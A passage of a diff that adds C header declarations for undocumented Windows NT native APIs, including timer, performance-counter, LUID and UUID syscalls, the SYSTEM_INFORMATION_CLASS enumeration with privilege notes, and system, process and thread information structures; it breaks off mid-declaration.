+_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryTimerResolution( + _Out_ PULONG MaximumTime, + _Out_ PULONG MinimumTime, + _Out_ PULONG CurrentTime +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimerResolution( + _In_ ULONG DesiredTime, + _In_ BOOLEAN SetResolution, + _Out_ PULONG ActualTime +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetTimerResolution( + _In_ ULONG DesiredTime, + _In_ BOOLEAN SetResolution, + _Out_ PULONG ActualTime +); + +// +// Performance Counter +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCounter, + _Out_opt_ PLARGE_INTEGER PerformanceFrequency +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCounter, + _Out_opt_ PLARGE_INTEGER PerformanceFrequency +); + +// +// LUIDs +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateLocallyUniqueId( + _Out_ PLUID Luid +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateLocallyUniqueId( + _Out_ PLUID Luid +); + +// +// UUIDs +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetUuidSeed( + _In_ PCHAR Seed +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetUuidSeed( + _In_ PCHAR Seed +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateUuids( + _Out_ PULARGE_INTEGER Time, + _Out_ PULONG Range, + _Out_ PULONG Sequence, + _Out_ PCHAR Seed +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateUuids( + _Out_ PULARGE_INTEGER Time, + _Out_ PULONG Range, + _Out_ PULONG Sequence, + _Out_ PCHAR Seed +); + +// +// System Information +// + +// rev +// private +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION + SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION + SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION + SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION + SystemPathInformation, // not implemented + SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION + SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION + SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION + SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (EX in: USHORT ProcessorGroup) + SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION + SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10 + SystemModuleInformation, // q: RTL_PROCESS_MODULES + SystemLocksInformation, // q: RTL_PROCESS_LOCKS + SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES + SystemPagedPoolInformation, // not implemented + SystemNonPagedPoolInformation, // not implemented + SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION + SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION + SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION + SystemVdmInstemulInformation, // q: SYSTEM_VDM_INSTEMUL_INFO + SystemVdmBopInformation, // not implemented // 20 + SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache) + SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION + SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION + SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege) + SystemFullMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION + SystemLoadGdiDriverInformation, // s (kernel-mode only) + SystemUnloadGdiDriverInformation, // s (kernel-mode only) + SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege) + SystemSummaryMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION + SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30 + SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS) + SystemObsolete0, // not implemented + SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION + SystemCrashDumpStateInformation, // s: SYSTEM_CRASH_DUMP_STATE_INFORMATION (requires SeDebugPrivilege) + SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION + SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION + SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege) + SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only + SystemPrioritySeperation, // s (requires SeTcbPrivilege) + SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40 + SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege) + SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION + SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION + SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION + SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION + SystemTimeSlipNotification, // s: HANDLE (NtCreateEvent) (requires SeSystemtimePrivilege) + SystemSessionCreate, // not implemented + SystemSessionDetach, // not implemented + SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION) + SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50 + SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege) + SystemVerifierThunkExtend, // s (kernel-mode only) + SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION + SystemLoadGdiDriverInSystemSpace, // s (kernel-mode only) (same as SystemLoadGdiDriverInformation) + SystemNumaProcessorMap, // q + SystemPrefetcherInformation, // q: PREFETCHER_INFORMATION; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation + SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION + SystemRecommendedSharedDataAlignment, // q + SystemComPlusPackage, // q; s + SystemNumaAvailableMemory, // 60 + SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION + SystemEmulationBasicInformation, + SystemEmulationProcessorInformation, + SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX + SystemLostDelayedWriteInformation, // q: ULONG + SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION + SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION + SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION + SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION + SystemObjectSecurityMode, // q: ULONG // 70 + SystemWatchdogTimerHandler, // s (kernel-mode only) + SystemWatchdogTimerInformation, // q (kernel-mode only); s (kernel-mode only) + SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION + SystemWow64SharedInformationObsolete, // not implemented + SystemRegisterFirmwareTableInformationHandler, // s: SYSTEM_FIRMWARE_TABLE_HANDLER // (kernel-mode only) + SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION + SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX + SystemVerifierTriageInformation, // not implemented + SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation + SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80 + SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation) + SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege) + SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] + SystemVerifierCancellationInformation, // SYSTEM_VERIFIER_CANCELLATION_INFORMATION // name:wow64:whNT32QuerySystemVerifierCancellationInformation + SystemProcessorPowerInformationEx, // not implemented + SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation + SystemSpecialPoolInformation, // q; s: SYSTEM_SPECIAL_POOL_INFORMATION (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0 + SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION + SystemErrorPortInformation, // s (requires SeTcbPrivilege) + SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90 + SystemHypervisorInformation, // q; s (kernel-mode only) + SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX + SystemTimeZoneInformation, // s (requires SeTimeZonePrivilege) + SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege) + SystemCoverageInformation, // q; s // name:wow64:whNT32QuerySystemCoverageInformation; ExpCovQueryInformation + SystemPrefetchPatchInformation, // SYSTEM_PREFETCH_PATCH_INFORMATION + SystemVerifierFaultsInformation, // s: SYSTEM_VERIFIER_FAULTS_INFORMATION (requires SeDebugPrivilege) + SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION + SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION + SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION // 100 + SystemNumaProximityNodeInformation, + SystemDynamicTimeZoneInformation, // q; s (requires SeTimeZonePrivilege) + SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation + SystemProcessorMicrocodeUpdateInformation, // s: SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION + SystemProcessorBrandString, // q // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23 + SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation + SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // since WIN7 // KeQueryLogicalProcessorRelationship + SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] + SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION // SmQueryStoreInformation + SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110 + SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege) + SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION + SystemCpuQuotaInformation, // q; s: PS_CPU_QUOTA_QUERY_INFORMATION + SystemNativeBasicInformation, // q: SYSTEM_BASIC_INFORMATION + SystemErrorPortTimeouts, // SYSTEM_ERROR_PORT_TIMEOUTS + SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION + SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation + SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION + SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool) + SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120 + SystemNodeDistanceInformation, + SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26 + SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation + SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1 + SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8 + SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only) + SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION + SystemBadPageInformation, + SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA + SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130 + SystemEntropyInterruptTimingInformation, + SystemConsoleInformation, // q: SYSTEM_CONSOLE_INFORMATION + SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION + SystemPolicyInformation, // q: SYSTEM_POLICY_INFORMATION + SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION + SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION + SystemDeviceDataEnumerationInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION + SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION + SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION + SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140 + SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // since WINBLUE + SystemCriticalProcessErrorLogInformation, + SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION + SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX + SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION + SystemEntropyInterruptTimingRawInformation, + SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION + SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin) + SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX + SystemBootMetadataInformation, // 150 + SystemSoftRebootInformation, // q: ULONG + SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION + SystemOfflineDumpConfigInformation, + SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION + SystemRegistryReconciliationInformation, // s: NULL (requires admin) (flushes registry hives) + SystemEdidInformation, + SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD + SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION + SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION + SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION // 160 + SystemVmGenerationCountInformation, + SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION + SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS + SystemCodeIntegrityPolicyInformation, // q: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION + SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION + SystemHardwareSecurityTestInterfaceResultsInformation, + SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION + SystemAllowedCpuSetsInformation, + SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation) + SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170 + SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION + SystemCodeIntegrityPolicyFullInformation, + SystemAffinitizedInterruptProcessorInformation, + SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION + SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2 + SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION + SystemWin32WerStartCallout, + SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION + SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE + SystemInterruptSteeringInformation, // SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT // 180 + SystemSupportedProcessorArchitectures, // in: HANDLE, out: ULONG[3] // NtQuerySystemInformationEx + SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION + SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION + SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2 + SystemControlFlowTransition, + SystemKernelDebuggingAllowed, // s: ULONG + SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE + SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS + SystemCodeIntegrityPoliciesFullInformation, + SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190 + SystemIntegrityQuotaInformation, + SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION + SystemProcessorIdleMaskInformation, // q: ULONG_PTR // since REDSTONE3 + SystemSecureDumpEncryptionInformation, + SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION + SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION + SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4 + SystemFirmwareBootPerformanceInformation, + SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION + SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200 + SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above. + SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION + SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION + SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5 + SystemCodeIntegrityUnlockModeInformation, + SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION + SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION + SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1 + SystemCodeIntegritySyntheticCacheInformation, + SystemFeatureConfigurationInformation, // SYSTEM_FEATURE_CONFIGURATION_INFORMATION // since 20H1 // 210 + SystemFeatureConfigurationSectionInformation, // SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION + SystemFeatureUsageSubscriptionInformation, + SystemSecureSpeculationControlInformation, // SECURE_SPECULATION_CONTROL_INFORMATION + SystemSpacesBootInformation, // since 20H2 + SystemFwRamdiskInformation, // SYSTEM_FIRMWARE_RAMDISK_INFORMATION + SystemWheaIpmiHardwareInformation, + SystemDifSetRuleClassInformation, + SystemDifClearRuleClassInformation, + SystemDifApplyPluginVerificationOnDriver, + SystemDifRemovePluginVerificationOnDriver, // 220 + SystemShadowStackInformation, // SYSTEM_SHADOW_STACK_INFORMATION + SystemBuildVersionInformation, // SYSTEM_BUILD_VERSION_INFORMATION + SystemPoolLimitInformation, // SYSTEM_POOL_LIMIT_INFORMATION + SystemCodeIntegrityAddDynamicStore, + SystemCodeIntegrityClearDynamicStores, + SystemDifPoolTrackingInformation, + SystemPoolZeroingInformation, // SYSTEM_POOL_ZEROING_INFORMATION + SystemDpcWatchdogInformation, + SystemDpcWatchdogInformation2, + SystemSupportedProcessorArchitectures2, // q: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx // 230 + SystemSingleProcessorRelationshipInformation, + SystemXfgCheckFailureInformation, + SystemIommuStateInformation, // SYSTEM_IOMMU_STATE_INFORMATION // since 11H1 + SystemHypervisorMinrootInformation, // SYSTEM_HYPERVISOR_MINROOT_INFORMATION + SystemHypervisorBootPagesInformation, // SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION + SystemPointerAuthInformation, // SYSTEM_POINTER_AUTH_INFORMATION + SystemSecureKernelDebuggerInformation, + SystemOriginalImageFeatureInformation, + MaxSystemInfoClass +} SYSTEM_INFORMATION_CLASS; + +typedef struct _SYSTEM_BASIC_INFORMATION +{ + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + ULONG NumberOfPhysicalPages; + ULONG LowestPhysicalPageNumber; + ULONG HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, * PSYSTEM_BASIC_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_INFORMATION +{ + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT MaximumProcessors; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, * PSYSTEM_PROCESSOR_INFORMATION; + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION +{ + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + ULONG CommittedPages; + ULONG CommitLimit; + ULONG PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG AvailablePagedPoolPages; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; + ULONGLONG CcTotalDirtyPages; // since THRESHOLD + ULONGLONG CcDirtyPageThreshold; // since THRESHOLD + LONGLONG ResidentAvailablePages; // since THRESHOLD + ULONGLONG SharedCommittedPages; // since THRESHOLD +} SYSTEM_PERFORMANCE_INFORMATION, * PSYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION +{ + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, * PSYSTEM_TIMEOFDAY_INFORMATION; + +typedef struct _SYSTEM_THREAD_INFORMATION +{ + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + KTHREAD_STATE ThreadState; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION; + +typedef struct _TEB TEB, * PTEB; + +// private +typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION +{ + SYSTEM_THREAD_INFORMATION ThreadInfo; + PVOID StackBase; + PVOID StackLimit; + PVOID Win32StartAddress; + PTEB TebBase; // since VISTA + ULONG_PTR Reserved2; + ULONG_PTR Reserved3; + ULONG_PTR Reserved4; +} SYSTEM_EXTENDED_THREAD_INFORMATION, * PSYSTEM_EXTENDED_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; // since VISTA + ULONG HardFaultCount; // since WIN7 + ULONG NumberOfThreadsHighWatermark; // since WIN7 + ULONGLONG CycleTime; // since WIN7 + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; // since VISTA (requires SystemExtendedProcessInformation) + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; + SYSTEM_THREAD_INFORMATION Threads[1]; // SystemProcessInformation + // SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1]; // SystemExtendedProcessinformation + // SYSTEM_EXTENDED_THREAD_INFORMATION + SYSTEM_PROCESS_INFORMATION_EXTENSION // SystemFullProcessInformation +} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION +{ + ULONG Length; + ULONG NumberOfTables; +} SYSTEM_CALL_COUNT_INFORMATION, * PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_DEVICE_INFORMATION +{ + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, * PSYSTEM_DEVICE_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION +{ + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; + LARGE_INTEGER InterruptTime; + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, * PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct 